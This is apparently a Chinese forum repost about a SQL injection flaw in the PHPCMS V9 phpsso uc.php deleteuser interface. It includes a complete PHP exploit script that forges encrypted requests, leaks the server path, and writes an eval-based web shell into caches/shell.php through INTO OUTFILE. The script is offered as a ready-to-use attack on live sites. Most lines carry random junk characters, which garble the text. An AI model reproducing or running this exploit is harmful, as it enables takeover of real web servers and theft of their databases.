PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。0 g7 {7 \8 y! L4 |* G! }
, w8 a# w1 P$ N; U) C% h, W: D
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。/ \* t# G5 J2 h
2 A( z6 j" y& d' X
漏洞分析:
: s" b: ^5 E# E- ?# F8 ~1.未启用ucenter服务的情况下uc_key为空2 C: s8 Q6 l: Y0 C# t
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
, @8 |- e& k/ c, o* Q3 F2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
1 ~ [, x+ ^7 x4 }) V public function deleteuser($get,$post) {
# S; T/ p$ l0 E pc_base::load_app_func('global', 'admin');
7 q& s/ p- r h: e% u7 P6 W pc_base::load_app_class('messagequeue', 'admin' , 0);
7 _8 Z0 u3 L! J $ids = new_stripslashes($get['ids']);3 i! Y. m# {9 B" j/ y) l& k$ s
$s = $this->member_db->select("ucuserid in ($ids)", "uid");9 l* l0 I& o$ }9 W! M. M8 ?
SQL语句为
; V9 S6 q4 w Z8 H# HSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)2 U4 U3 P7 V6 a: _
- U% j+ O& @, Y6 `利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
7 p8 p# C- F- f<?php
/ @) V$ e: Z2 ?6 N7 bprint_r('- X, [8 G) t0 M ?
---------------------------------------------------------------------------% O' Z& K7 q! I& y3 G- W8 y, C% s
PHPcms (v9 or Old Version) uc api sql injection 0day
( ]. C+ ]* n: H9 {+ M# ]% @by rayh4c#80sec.com$ g0 n0 V0 {: ]- Y" {; k; l
---------------------------------------------------------------------------
% Y+ P+ M" }1 O( `');- {' M/ J2 { K# ^0 m q5 l7 P
% @+ z7 }8 c( t! [# p& cif ($argc<3) {, X, q- B+ i3 |7 K( l' E
print_r('
9 n( M* |) i- c/ E---------------------------------------------------------------------------' z. ~) }. ]* C
Usage: php '.$argv[0].' host path OPTIONS" q: ?( ?- ~. ]7 l6 x
host: target server (ip/hostname)
?7 `* p5 r" ]. a! ]1 qpath: path to phpcms
! A* S: F: J* l4 E2 M3 V* \Options:
" a0 D/ k5 R! [: `; M7 j- s -p[port]: specify a port other than 80
" L+ R3 {' Q$ X% x -P[ip:port]: specify a proxy
4 y3 H9 ^3 Z' w: c% kExample: H; x% T; B6 Z; \: q
php '.$argv[0].' localhost /6 M1 z& n5 ]* T4 t; g
php '.$argv[0].' localhost /phpcms/ -p818 ^' {2 c5 o% ^0 p. S
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
; B W% L3 e" y---------------------------------------------------------------------------9 O7 \/ m2 G* k+ F$ b' U& ^: \
');( `! Y* b" }" l- u
die;% @) B& E' T1 H' N. ~% l; d5 X' t3 V
}$ K) v! Q' ]# g) r
0 z7 S! r* a% K& r `$ |
error_reporting(7);- `* j. I6 K7 Y' @) x
ini_set("max_execution_time",0);
8 a. I4 b/ B$ I4 f+ Vini_set("default_socket_timeout",5);& Q/ d, }# o) }8 V& n H" l `
1 A1 M2 S: z, o; H. ?function quick_dump($string)8 `' n4 }( ]! f0 v$ q
{
) r- x7 O( H. P- P $result='';$exa='';$cont=0;2 v G* t) s/ V* j2 a% x: A
for ($i=0; $i<=strlen($string)-1; $i++)1 D! F q! O5 p7 Z
{
$ r6 Q8 s3 S+ Q: c) ~0 | if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) b1 [2 m: [: ~, x* R" F K
{$result.=" .";}. e( a1 L3 o% B9 S; e: x% I
else
0 a# E) Y/ n* ~0 b {$result.=" ".$string[$i];}
2 ~ K8 [* J$ s; N7 J f if (strlen(dechex(ord($string[$i])))==2)
9 v) c- s0 X A: p/ R {$exa.=" ".dechex(ord($string[$i]));}
$ r( q9 ~; l, g8 G else
$ D8 E$ Q- J0 O( R8 d! F, u/ G9 A {$exa.=" 0".dechex(ord($string[$i]));}% ~3 O$ e7 D8 f7 G _
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}9 q- K% T+ G7 W* x0 A# N
}
, j+ Q1 P& G" I- R5 r# | return $exa."\r\n".$result;$ h7 F3 q A) Q8 @
}
- n6 p: [3 W/ `9 o% M- F$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';5 K/ {0 D m5 ~
2 v* `1 v2 d' Wfunction send($packet)/ I. w: n6 S9 W( Q
{7 W1 j s8 K' {" p# H
global $proxy, $host, $port, $html, $proxy_regex;
3 e j! F9 f0 z0 Z# X" ^ if ($proxy=='') {) B% t/ p* q+ i, @( o* S J
$ock=fsockopen(gethostbyname($host),$port);" w; V8 ~ [2 w( v: ]5 v9 Q' P
if (!$ock) {
! X! a: H3 ^6 n* ]' z4 Z; j echo 'No response from '.$host.':'.$port; die;! @1 t' [! W1 r4 B9 G
}
( r6 v& Y' J4 u }* i4 T: w# @# x
else {
. V) @* }2 r! a& b( B! z# h: \( } $c = preg_match($proxy_regex,$proxy);
/ I6 Z0 J4 ~8 a( K if (!$c) {; K, X, j6 W0 ^* C; _6 z' z5 }
echo 'Not a valid proxy...';die;
6 r$ Z, c& y$ I }
( o& l9 L4 e9 r/ e7 e, Z" E7 E $parts=explode(':',$proxy);
& J" ]- D/ h* x6 D9 N; V7 ~# G9 k: y $parts[1]=(int)$parts[1];
: ?) i4 Q$ `0 @ T/ D echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+ R: O1 i. y0 [7 n $ock=fsockopen($parts[0],$parts[1]);
6 g" Z+ A P- E$ g if (!$ock) {
8 M: E. v( s/ O) g6 J8 }; a( ? echo 'No response from proxy...';die;
s4 @: e( H+ z# f" { }7 g- h! ~) P# R) o) D3 e
}0 v" ?7 {3 M" U) X% V l0 h0 `
fputs($ock,$packet);+ M- m) P( y6 S2 q7 ?
if ($proxy=='') {3 p' J, S& W+ |4 h
$html='';) `2 r) B' I) y
while (!feof($ock)) {, w! J7 d Q& i. G/ o" f3 T- T5 e; p- t) c
$html.=fgets($ock);
0 h( ? y' r. L! Y- b }+ T% B$ z+ O- P& _1 E6 Y& n5 `
}
# p' R" E+ s# Z else {
) ]! ^% ^# j) y# l5 y. d $html='';
! O, x& o2 ]) J9 O while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {! {) N+ R8 R- m1 `. \0 d2 t
$html.=fread($ock,1);& A( I$ ^( n/ I% @! F0 {& p
}
& n9 f3 ~/ p. K: d" T* i9 Q( c1 e6 A: \: E }1 U6 ~0 ~- h* Y
fclose($ock);
; w2 m- U) T4 ?9 C" o7 @}
1 G' ^; D' `" X5 e: q
3 ^7 x" A) q: \1 H# z1 Y1 @9 J$host=$argv[1];5 `. c, D1 A: A W, R. k. Y- A# V6 l
$path=$argv[2];, }. G, ~; M- }2 }' [) e
$port=80;
0 @: l; X. y2 r8 S4 Z2 N# W9 G$proxy="";
$ G% W0 c+ g! k- G% ~$ F; ~for ($i=3; $i<$argc; $i++){0 A* l9 g1 ^; J9 C+ O4 a
$temp=$argv[$i][0].$argv[$i][1];
K- a; e( M4 \' B3 ?/ Tif ($temp=="-p")% i+ u) m; M1 i
{
) s: j3 T3 T, d$ _" O. y/ ?5 R0 w $port=(int)str_replace("-p","",$argv[$i]);
) l* H" s# Q; Q6 A0 o$ V* H8 z8 W}, i$ m' E7 v( K6 \. U2 o5 p- r
if ($temp=="-P")
& q9 x$ c- b+ a. d{3 [7 V$ Z, z6 y" ~7 W. M
$proxy=str_replace("-P","",$argv[$i]);
7 H0 I( f1 k4 A}
4 U: E+ _: l: }- w& |7 _9 `}/ } H- P5 V: y, d( U4 i6 a6 f
" a) D8 B9 q$ ]+ G W
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
" n* u |6 o: g/ I- C$ Yif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
' P; M9 l4 Y. G
, Y1 n1 }, O* U) N$ h% ~0 Kfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
. Y5 P( E: x% K# q! W* O0 Z/ @$ [& K6 |: R1 b4 \
$ckey_length = 4;
- s; |6 \" D) W8 T9 {3 p) a- _! T/ b9 {/ W) ]' d; u, ^3 l
$key = md5($key ? $key : '');- D5 m5 q: l0 `8 N$ Z' V1 I8 L
$keya = md5(substr($key, 0, 16));& ^8 @$ m) W5 p. Y, l, J
$keyb = md5(substr($key, 16, 16));
; V8 Q% o. m# i8 W7 Q. z- U $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
. O: e6 B0 x4 q0 b& f
0 {3 _, S) g+ B- y( t% j& n $cryptkey = $keya.md5($keya.$keyc);
0 X2 ?1 a/ `3 C2 J $key_length = strlen($cryptkey);
+ m r( N' V! D
4 o" b" Y2 l: S* ? $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;8 n/ a( s' [) a9 _; Y
$string_length = strlen($string);$ h8 C6 `5 A$ J
7 O" s x$ v- Q& w7 t3 X $result = '';
3 i E: ]0 g; ^9 Q6 A $box = range(0, 255);% ~/ g7 x& w2 U4 u
( C% P9 D3 ?( G6 s6 V+ B $rndkey = array();
: B5 _: W# C4 Y2 W3 _ for($i = 0; $i <= 255; $i++) {
9 y4 e* J2 b+ x2 _: Q4 X $rndkey[$i] = ord($cryptkey[$i % $key_length]);
5 n% q* b+ l) C' s9 t# S4 }1 B }; w) F" m8 \& |1 L# K9 x* E5 x& @; {' ~
2 I I$ I* r' ?! k
for($j = $i = 0; $i < 256; $i++) {
# o* H% v, R8 G3 \9 s& X $j = ($j + $box[$i] + $rndkey[$i]) % 256;
. W! ]6 v4 q/ z" x7 k( ^ $tmp = $box[$i];; C1 J2 U8 f2 _ U- a, N: r* W; W
$box[$i] = $box[$j];
4 C6 {( Z$ C9 p $box[$j] = $tmp;- q- K3 x1 H" a8 }: p9 o
}
( ?4 N- K) d7 J( _ M
# Y- W2 Q6 D) p2 F+ `1 Z2 h for($a = $j = $i = 0; $i < $string_length; $i++) {3 E4 b1 m4 I8 {
$a = ($a + 1) % 256;
- V3 F7 i4 e4 Z7 b$ ] $j = ($j + $box[$a]) % 256;
! s3 r; a1 P* m1 c! X $tmp = $box[$a];
o% ?! j, G. m6 M+ w $box[$a] = $box[$j];
& z9 i9 }# q/ X $box[$j] = $tmp;
" _! S5 L. g0 k: l' F' {. q, F* r $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));' @% w: ]2 N7 n2 W1 h9 a: A
}
4 m" V+ R; E( `2 c5 d8 g. g7 j4 y( ^- r4 `
if($operation == 'DECODE') {
( N% C. _; q. d4 p if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {6 C! o5 U# S& q# m
return substr($result, 26);# c$ x! v9 I) [
} else {6 N: v$ c1 L' `0 d) U$ _! f: @& x# ?
return '';
5 r' }9 \# o$ R3 D1 e }1 ]! P* J' o- R! C
} else {* o; F" r6 x7 z
return $keyc.str_replace('=', '', base64_encode($result));
6 B) A( E9 O! n6 X0 U8 i% Y }1 O9 s: N1 a9 G. `, j% A1 X$ q
7 z. h9 B" L9 g$ X0 k/ L3 c}2 i2 q8 q" R4 a& }& w) k$ o# S
' Y' u- @, {1 F6 D4 \1 X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";1 t" V6 j/ h( P9 a5 U
$SQL = urlencode(authcode($SQL, "ENCODE", ""));, d9 A8 M# P3 k# J6 W; }' l T
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: Q4 \) @3 {5 [5 w
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";2 m# @, M- l8 L+ m0 b+ I
$packet.="User-Agent: Mozilla/5.0\r\n";$ Z" i3 I$ H, w# S
$packet.="Host: ".$host."\r\n";& m" {# s7 W9 i( _6 h: |+ i- `
$packet.="Connection: Close\r\n\r\n";
/ h. @9 B! p: F% q7 C: O6 g5 Ksend($packet);% `, _; y+ {+ H4 g, ^2 R
if(strpos($html,"MySQL Errno") > 0){2 ]4 U5 L; O3 y( Q
echo "[2] 发现存在SQL注入漏洞"."\n";
/ q8 T, i7 A; h* ~0 Secho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% {3 K3 w: R, Z% n7 F0 S! D' C$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";7 c! L4 y3 _' K3 Z0 g7 B! q0 S# Y
$packet.="User-Agent: Mozilla/5.0\r\n";
, e! Y. N+ q v$packet.="Host: ".$host."\r\n";& R6 A6 G4 J6 @
$packet.="Connection: Close\r\n\r\n";
3 `/ S; e. v7 U( j* u% Asend($packet);
. \! e- i& ?1 S" T7 T& p: f" g1 U: F; ]preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);; L& \: G* P2 s1 _1 N4 \
//print_r($matches);
4 C& U; c8 e6 o/ ~& a( Mif(!empty($matches)){, B- `: N% j4 ]: f+ X/ X+ } e% c
echo "[4] 得到web路径 " . $matches[0]."\n";$ P5 v4 B5 p+ N7 B, i
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
- H& F" O5 v" ?" H$SQL = "time=999999999999999999999999&ids=1)";
* u' m9 U. y4 ?4 {$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";$ t" f& Z- {' v1 c- l
$SQL.="&action=deleteuser";
% D$ P# b1 b2 U; _/ r$SQL = urlencode(authcode($SQL, "ENCODE", ""));: v$ [" r: r, @" }$ @
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
/ s7 q( E6 F1 I0 E$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
9 F: X: I( b; A# G) R$packet.="User-Agent: Mozilla/5.0\r\n";: H0 o% L$ p3 Q$ m3 q% Q$ G
$packet.="Host: ".$host."\r\n";4 W: E/ t5 `) l
$packet.="Connection: Close\r\n\r\n";
0 b9 k. Y5 Y# c0 D( {send($packet);
! F( A: m0 }+ i3 Cif(strpos($html,"Access denied") > 0){
8 t0 Z2 u: p7 b7 S) ~2 u+ q% Qecho "[-] MYSQL权限过低 禁止写入文件 ";
6 g! }* k$ g; ], X' udie;
3 V) ?, E& q- Z% R/ v* \: F}
- M+ q1 D; I# n* @! Pecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
0 E4 @5 A3 a' w! m$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
2 W- ~4 u/ R; Y) _8 r$ V$packet.="User-Agent: Mozilla/5.0\r\n";1 l" s% C! h1 v, U t
$packet.="Host: ".$host."\r\n";9 a. |7 j |+ `. E, g
$packet.="Connection: Close\r\n\r\n";/ g1 g4 u4 @$ Y- r# f( k2 ^
send($packet);
; X r8 ]! [9 T/ `2 Bif(strpos($html,"<title>phpinfo()</title>") > 0){
# H$ U" r+ p0 \# necho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
( U, c0 r5 N3 ?# M}3 x- b; w8 s7 U+ B( u
}else{ o) X6 w8 G/ K8 d. U; c, U$ L
echo "[-]未取到web路径 ";3 z% T8 \+ C9 N. i: T) h# p; U9 t
}
- r9 n$ A% F' v: S2 D4 P. S}else{
+ }/ L* }3 l2 f! ]% \; [4 Iecho "[*]不存在SQL注入漏洞"."\n";4 y5 e+ I l3 L: i
}
- f& [& e+ ^1 [" }# r0 J* l J, X* b( O! u) D3 R$ ~
?>0 Z6 f3 ~4 H) w/ O3 ?4 d
|